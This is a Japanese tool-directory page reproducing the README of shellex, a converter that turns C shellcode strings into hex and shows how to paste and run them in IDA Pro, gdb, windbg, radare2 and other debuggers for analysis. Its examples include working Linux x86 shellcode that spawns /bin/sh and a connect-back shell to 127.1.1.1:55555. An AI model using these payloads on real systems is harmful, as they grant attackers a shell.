Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
shellex — C-shellcode to hex converter、IDA PRO、gdb、windbg、radare2、ollydbg、x64dbg、immunity debugger、010 editorでシェルコードの貼り付けと実行に便利なツール | Kitploit
ツール/GitHubGitHub/therealdreg/shellex
エクスプロイトリバースエンジニアリングシェルコードデバッガユーティリティとフレームワークバイナリ解析シェルコード生成ペイロード開発
GitHubtherealdreg/shellex

shellex

C-shellcode to hex converter、IDA PRO、gdb、windbg、radare2、ollydbg、x64dbg、immunity debugger、010 editorでシェルコードの貼り付けと実行に便利なツール

リポジトリを見る
112233年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ウェブサイト

shellex

警告: 世界で最も醜いコード

Cシェルコードから16進数へのコンバーター。

寄付をご検討ください: https://github.com/sponsors/therealdreg

IDA PRO、gdb、windbg、radare2、ollydbg、x64dbg、immunity debugger、010 editorでシェルコードをペースト&実行するための便利なツール。

Cシェルコードを16進数に変換するのに問題がありますか?(Cコメント+ASCII混合など?)

ここにshellexがあります。シェルコードがCコンパイラでコンパイル可能であれば、shellexで変換できます。

shellexを実行し、シェルコードのC文字列を貼り付けてENTERを押すだけです。

終了するにはControl+Z(Windows)/ Control+D(Linux)を使用します。

Cシェルコード(複数行、16進数+ASCII混合)の変換(混合部分 \x68//sh\x68/bin\x89 に注意):

root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"

shellex出力:

root@kitploit:~
6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

Cシェルコード(複数行、コメント付き)の変換:

root@kitploit:~
"\x68"
"\x7f\x01\x01\x01"  // <- IP:  127.1.1.1
"\x5e\x66\x68"
"\xd9\x03"          // <- Port: 55555
"\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02"
"\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79"
"\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a"
"\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\xeb\xce"

shellex出力:

root@kitploit:~
68 7F 01 01 01 5E 66 68 D9 03 5F 6A 66 58 99 6A 01 5B 52 53 6A 02 89 E1 CD 80 93 59 B0 3F CD 80 49 79 F9 B0 66 56 66 57 66 6A 02 89 E1 6A 10 51 53 89 E1 CD 80 B0 0B 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 EB CE

shellex出力を新しいCシェルコード文字列として必要ですか? -h パラメータを使用してください。shellex出力を変換する例:

root@kitploit:~
./shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80

インストール

root@kitploit:~
git clone https://github.com/therealdreg/shellex.git

Windowsの場合:

バイナリ:

root@kitploit:~
shellex\bins\shellex.exe

Linuxの場合

依存関係:

root@kitploit:~
sudo apt-get install tcc

バイナリ:

root@kitploit:~
shellex/linuxbins/shellex

ollydbg、x64dbg、immunity debuggerでシェルコードをペースト&実行

私のxshellexプラグインを使用してください:

https://github.com/therealdreg/xshellex

IDA PRO(IDAPYTHON)でシェルコードをペースト&実行

  • shellex を実行
  • シェルコードを入力:
root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • Enterを押す
  • Control+Dを押す
  • shellex出力をshellex -hでC-Hex-Stringに変換:
root@kitploit:~
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
  • 独自のIDAPYTHONスクリプトを作成:
root@kitploit:~
def writebytes(dest, str):
  for i, c in enumerate(str):
    idc.patch_byte(dest+i, ord(c));

address = idc.get_reg_value("eip")

shellcode = "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80"

writebytes(address, shellcode)

print("done!")
  • C-Hex-Stringをshellcode変数にコピー。
  • 32ビットの場合: address = idc.get_reg_value("eip") を使用
  • 64ビットの場合: address = idc.get_reg_value("rip") を使用

IDA PROでプログラムをデバッグ:

  • ファイル -> スクリプトコマンド... に移動
  • スクリプト言語で Python を選択
  • IDAPYTHONスクリプトを貼り付け
  • 実行をクリック

これでF7でシェルコードをデバッグできますが、逆アセンブルウィンドウにシェルコードがdbとして表示される場合があります。

解決策:

  • 逆アセンブルウィンドウでシェルコードのバイトを選択
  • 右クリック -> 未定義
  • 再度逆アセンブルウィンドウでシェルコードのバイトを選択
  • 右クリック -> コード -> 強制 -> はい

完了!シェルコードを逆アセンブルして表示し、F7でデバッグできます。

gdbでシェルコードをペースト&実行

  • shellex を実行
  • シェルコードを入力:
root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • Enterを押す
  • Control+Dを押す
  • shellex出力をshellex -hでC-Hex-Stringに変換:
root@kitploit:~
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
  • C-Hex-Stringを"echo"で生のバイナリデータとしてファイルに書き込み:
root@kitploit:~
echo -ne "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80" > /tmp/sc
  • gdb /bin/ls
  • starti

バイナリファイルを現在の命令ポインタに書き込み:

32ビットの場合:

root@kitploit:~
restore /tmp/sc binary $eip
x/30b $eip
x/15i $eip

64ビットの場合:

root@kitploit:~
restore /tmp/sc binary $rip
x/30b $rip
x/15i $rip

x/30bの30はシェルコードのバイト数です。以下のコマンドでサイズを取得できます:

root@kitploit:~
wc -c /tmp/sc

x/15iの15は表示する命令数です。ndisasmを使用して正しい数(おそらく)を取得できます:

root@kitploit:~
sudo apt-get install nasm

32ビットの場合:

root@kitploit:~
ndisasm -b32 /tmp/sc
ndisasm -b32 /tmp/sc | wc -l

64ビットの場合:

root@kitploit:~
ndisasm -b64 /tmp/sc
ndisasm -b64 /tmp/sc | wc -l

gdb-gefでシェルコードをペースト&実行

  • shellex を実行
  • シェルコードを入力:
root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • Enterを押す
  • Control+Dを押す
  • 変換: echo "SPACE shellex_output" | sed "s/ / 0x/g"
root@kitploit:~
echo " 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80" | sed "s/ / 0x/g"

patch byteコマンドを使用:

32ビットの場合:

root@kitploit:~
patch byte $eip 0x6A 0x17 0x58 0x31 0xDB 0xCD 0x80 0x6A 0x0B 0x58 0x99 0x52 0x68 0x2F 0x2F 0x73 0x68 0x68 0x2F 0x62 0x69 0x6E 0x89 0xE3 0x52 0x53 0x89 0xE1 0xCD 0x80

64ビットの場合:

root@kitploit:~
patch byte $rip 0x6A 0x17 0x58 0x31 0xDB 0xCD 0x80 0x6A 0x0B 0x58 0x99 0x52 0x68 0x2F 0x2F 0x73 0x68 0x68 0x2F 0x62 0x69 0x6E 0x89 0xE3 0x52 0x53 0x89 0xE1 0xCD 0x80

contextコマンドを実行し、逆アセンブルが正しいか確認

gdb-pedaでシェルコードをペースト&実行

  • shellex を実行
  • シェルコードを入力:
root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • Enterを押す
  • Control+Dを押す
  • shellex出力をshellex -hでC-Hex-Stringに変換:
root@kitploit:~
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

32ビットの場合:

root@kitploit:~
patch $eip "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80"

64ビットの場合:

root@kitploit:~
patch $rip "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80"

contextコマンドを実行し、逆アセンブルが正しいか確認

windbgでシェルコードをペースト&実行

  • shellex を実行
  • シェルコードを入力:
root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • Enterを押す
  • Control+Dを押す

eb経由

小さなシェルコードの場合、ebで十分です。shellex出力をebコマンドで使用するだけです(ヒントをくれたAxel Souchet @0vercl0kに感謝)

32ビットの場合:

root@kitploit:~
eb @eip 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

64ビットの場合:

root@kitploit:~
eb @rip 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

ファイル経由

  • certutilを使ってshellex出力を生のバイナリデータに変換:
root@kitploit:~
echo 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80 > C:\Users\Dreg\sc.hex
certutil -f -decodeHex c:\Users\Dreg\sc.hex c:\Users\Dreg\sc
del C:\Users\Dreg\sc.hex

certutil出力:

root@kitploit:~
Input Length = 92
Output Length = 30
CertUtil: -decodehex command completed successfully.

シェルコードの長さは30なので、windbgではL0n30を使用します。

バイナリファイルを現在の命令ポインタに書き込み:

32ビットの場合:

root@kitploit:~
.readmem C:\Users\Dreg\sc @eip L0n30

64ビットの場合:

root@kitploit:~
.readmem C:\Users\Dreg\sc @rip L0n30

radare2でシェルコードをペースト&実行

  • shellex を実行
  • シェルコードを入力:
root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • Enterを押す
  • Control+Dを押す
  • shellex出力をshellex -hでC-Hex-Stringに変換:
root@kitploit:~
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
  • radare2で"w"コマンドを使ってC-Hex-Stringを書き込み:

32ビットの場合:

root@kitploit:~
w \x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80 @eip

64ビットの場合:

root@kitploit:~
w \x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80 @rip

シェルコードが正しく貼り付けられたか確認:

ターミナルでシェルコードのサイズを取得:

root@kitploit:~
echo -ne "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80" | wc -c

最後のコマンドの出力は30です。radare2でpDコマンドを使用:

root@kitploit:~
pD 30

非対話モード

Linuxで"\x6a\x17\x58\x31\xdb\xcd\x80"を変換:

root@kitploit:~
echo "\"\\x6a\\x17\\x58\\x31\\xdb\\xcd\\x80\"" | shellex

Windowsで"\x6a\x17\x58\x31\xdb\xcd\x80"を変換:

root@kitploit:~
echo "\x6a\x17\x58\x31\xdb\xcd\x80" | shellex.exe

Windowsで複数行ファイル経由:

root@kitploit:~
C:\Users\Dreg\Desktop\shellex\bins>type sc.txt
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
C:\Users\Dreg\Desktop\shellex\bins>type sc.txt | shellex.exe

Linuxで複数行ファイル経由:

root@kitploit:~
dreg@fr33project# cat sc.txt
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
dreg@fr33project# cat sc.txt | shellex

コンパイル

Windowsの場合はVisual Studio 2013を使用してください

  • https://my.visualstudio.com/Downloads?q=visual%20studio%202013&wt.mc_id=o~msft~vscom~older-downloads
  • https://go.microsoft.com/fwlink/?LinkId=532495&clcid=0x409

Linuxの場合は以下を実行:

root@kitploit:~
cd shellex/shellex
gcc -o shellex shellex.c
./shellex
ツールをダウンロード